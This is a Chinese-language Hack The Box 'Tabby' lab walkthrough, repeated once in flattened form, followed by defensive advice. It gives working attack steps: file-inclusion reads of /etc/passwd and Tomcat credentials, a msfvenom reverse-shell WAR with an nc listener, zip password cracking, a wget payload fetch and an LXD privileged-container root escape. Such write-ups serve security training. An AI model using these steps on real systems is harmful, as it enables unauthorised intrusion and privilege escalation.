hack the box 之tabby靶场练习
字数 1439 2025-08-10 22:08:13

Tabby靶场渗透测试详细教学文档

1. 靶场信息收集

1.1 初始扫描

  • 使用VPN连接获取目标IP地址
  • 端口扫描发现开放服务:
    • 22端口:SSH服务
    • 80端口:HTTP服务
    • 8080端口:HTTP服务(Tomcat)

1.2 80端口Web服务分析

  • 网站主页无特别信息
  • 目录扫描发现:
    • /readme.txt:无价值信息
    • /login:无特别内容
    • /news.php:空白页面

1.3 8080端口Tomcat服务

  • 默认Tomcat管理页面
  • 提示存在/etc/tomcat9/tomcat-users.xml文件

2. 漏洞发现与利用

2.1 文件包含漏洞利用

  • 在80端口的news.php页面发现参数异常
  • 测试文件包含漏洞:
    • 成功读取/etc/passwd文件
    • 利用漏洞读取Tomcat配置文件:
      • /var/lib/tomcat9/conf/tomcat-users.xml
      • 获取凭证:tomcat:$3cureP4s5w0rd123!

2.2 Tomcat管理面板入侵

  1. 使用获取的凭证登录Tomcat管理面板
    • 主管理页面无权限
    • /host-manager可正常访问
  2. 部署恶意WAR包:
    • 使用msfvenom生成反弹shell的WAR包:
      msfvenom -p java/jsp_shell_reverse_tcp LHOST=<攻击者IP> LPORT=<监听端口> -f war > shell.war
      
    • 通过管理界面上传并部署WAR包
  3. 设置监听并触发:
    • 攻击机开启监听:
      nc -lvnp <监听端口>
      
    • 访问http://<目标IP>:8080/shell/触发反弹shell

3. 权限提升

3.1 获取交互式shell

  • 在获得的shell中升级为TTY:
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    
    script -qc /bin/bash /dev/null
    

3.2 横向移动至ash用户

  1. 发现备份文件:
    • 路径:/var/www/html/files/backup.zip
    • 下载并尝试解压:
      unzip backup.zip
      
    • 需要密码,使用john爆破:
      zip2john backup.zip > hash.txt
      john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
      
    • 获取密码:admin@it
  2. 切换至ash用户:
    su ash
    
    输入密码admin@it

3.3 提权至root(LXD容器逃逸)

  1. 检查LXD组:

    id
    

    确认当前用户在lxd组中

  2. 准备提权:

    • 在攻击机生成提权镜像:
      git clone https://github.com/saghul/lxd-alpine-builder.git
      cd lxd-alpine-builder
      ./build-alpine
      
      生成alpine-v3.15-x86_64-20220511_1755.tar.gz
  3. 传输并执行提权:

    • 在攻击机启动HTTP服务:
      python3 -m http.server 8000
      
    • 在目标机下载:
      wget http://<攻击者IP>:8000/alpine-v3.15-x86_64-20220511_1755.tar.gz -O /tmp/alpine.tar.gz
      
    • 执行提权命令:
      lxc image import /tmp/alpine.tar.gz --alias myimage
      lxc init myimage mycontainer -c security.privileged=true
      lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
      lxc start mycontainer
      lxc exec mycontainer /bin/sh
      
    • 进入容器后访问宿主机文件系统:
      cd /mnt/root/root
      

4. 关键点总结

  1. 文件包含漏洞

    • 通过修改参数读取系统文件
    • 典型payload:file=/etc/passwd
  2. Tomcat凭证利用

    • 默认配置文件路径:
      • /etc/tomcat9/tomcat-users.xml
      • /var/lib/tomcat9/conf/tomcat-users.xml
    • WAR包部署方式获取shell
  3. 备份文件利用

    • 常见备份位置:/var/backups, /var/www/html/backup
    • 使用zip2john爆破压缩包密码
  4. LXD提权

    • 要求当前用户在lxd组中
    • 利用特权容器挂载宿主机根目录
    • 关键命令:-c security.privileged=true

5. 防御建议

  1. 针对文件包含漏洞

    • 禁用动态文件包含
    • 严格过滤用户输入
  2. Tomcat安全

    • 修改默认凭证
    • 限制管理界面访问IP
    • 禁用自动部署
  3. 系统安全

    • 定期检查备份文件权限
    • 限制lxd组用户
    • 及时更新补丁
  4. 监控措施

    • 监控异常文件读取行为
    • 记录管理界面登录尝试
    • 设置文件完整性监控

通过本教学文档,可以系统性地学习从信息收集到最终提权的完整渗透测试流程,特别关注了LXD容器逃逸这一高级提权技术。

Tabby靶场渗透测试详细教学文档 1. 靶场信息收集 1.1 初始扫描 使用VPN连接获取目标IP地址 端口扫描发现开放服务: 22端口:SSH服务 80端口:HTTP服务 8080端口:HTTP服务(Tomcat) 1.2 80端口Web服务分析 网站主页无特别信息 目录扫描发现: /readme.txt:无价值信息 /login:无特别内容 /news.php:空白页面 1.3 8080端口Tomcat服务 默认Tomcat管理页面 提示存在 /etc/tomcat9/tomcat-users.xml 文件 2. 漏洞发现与利用 2.1 文件包含漏洞利用 在80端口的news.php页面发现参数异常 测试文件包含漏洞: 成功读取 /etc/passwd 文件 利用漏洞读取Tomcat配置文件: /var/lib/tomcat9/conf/tomcat-users.xml 获取凭证: tomcat:$3cureP4s5w0rd123! 2.2 Tomcat管理面板入侵 使用获取的凭证登录Tomcat管理面板 主管理页面无权限 /host-manager 可正常访问 部署恶意WAR包: 使用msfvenom生成反弹shell的WAR包: 通过管理界面上传并部署WAR包 设置监听并触发: 攻击机开启监听: 访问 http://<目标IP>:8080/shell/ 触发反弹shell 3. 权限提升 3.1 获取交互式shell 在获得的shell中升级为TTY: 或 3.2 横向移动至ash用户 发现备份文件: 路径: /var/www/html/files/backup.zip 下载并尝试解压: 需要密码,使用john爆破: 获取密码: admin@it 切换至ash用户: 输入密码 admin@it 3.3 提权至root(LXD容器逃逸) 检查LXD组: 确认当前用户在 lxd 组中 准备提权: 在攻击机生成提权镜像: 生成 alpine-v3.15-x86_64-20220511_1755.tar.gz 传输并执行提权: 在攻击机启动HTTP服务: 在目标机下载: 执行提权命令: 进入容器后访问宿主机文件系统: 4. 关键点总结 文件包含漏洞 : 通过修改参数读取系统文件 典型payload: file=/etc/passwd Tomcat凭证利用 : 默认配置文件路径: /etc/tomcat9/tomcat-users.xml /var/lib/tomcat9/conf/tomcat-users.xml WAR包部署方式获取shell 备份文件利用 : 常见备份位置: /var/backups , /var/www/html/backup 使用zip2john爆破压缩包密码 LXD提权 : 要求当前用户在lxd组中 利用特权容器挂载宿主机根目录 关键命令: -c security.privileged=true 5. 防御建议 针对文件包含漏洞 : 禁用动态文件包含 严格过滤用户输入 Tomcat安全 : 修改默认凭证 限制管理界面访问IP 禁用自动部署 系统安全 : 定期检查备份文件权限 限制lxd组用户 及时更新补丁 监控措施 : 监控异常文件读取行为 记录管理界面登录尝试 设置文件完整性监控 通过本教学文档,可以系统性地学习从信息收集到最终提权的完整渗透测试流程,特别关注了LXD容器逃逸这一高级提权技术。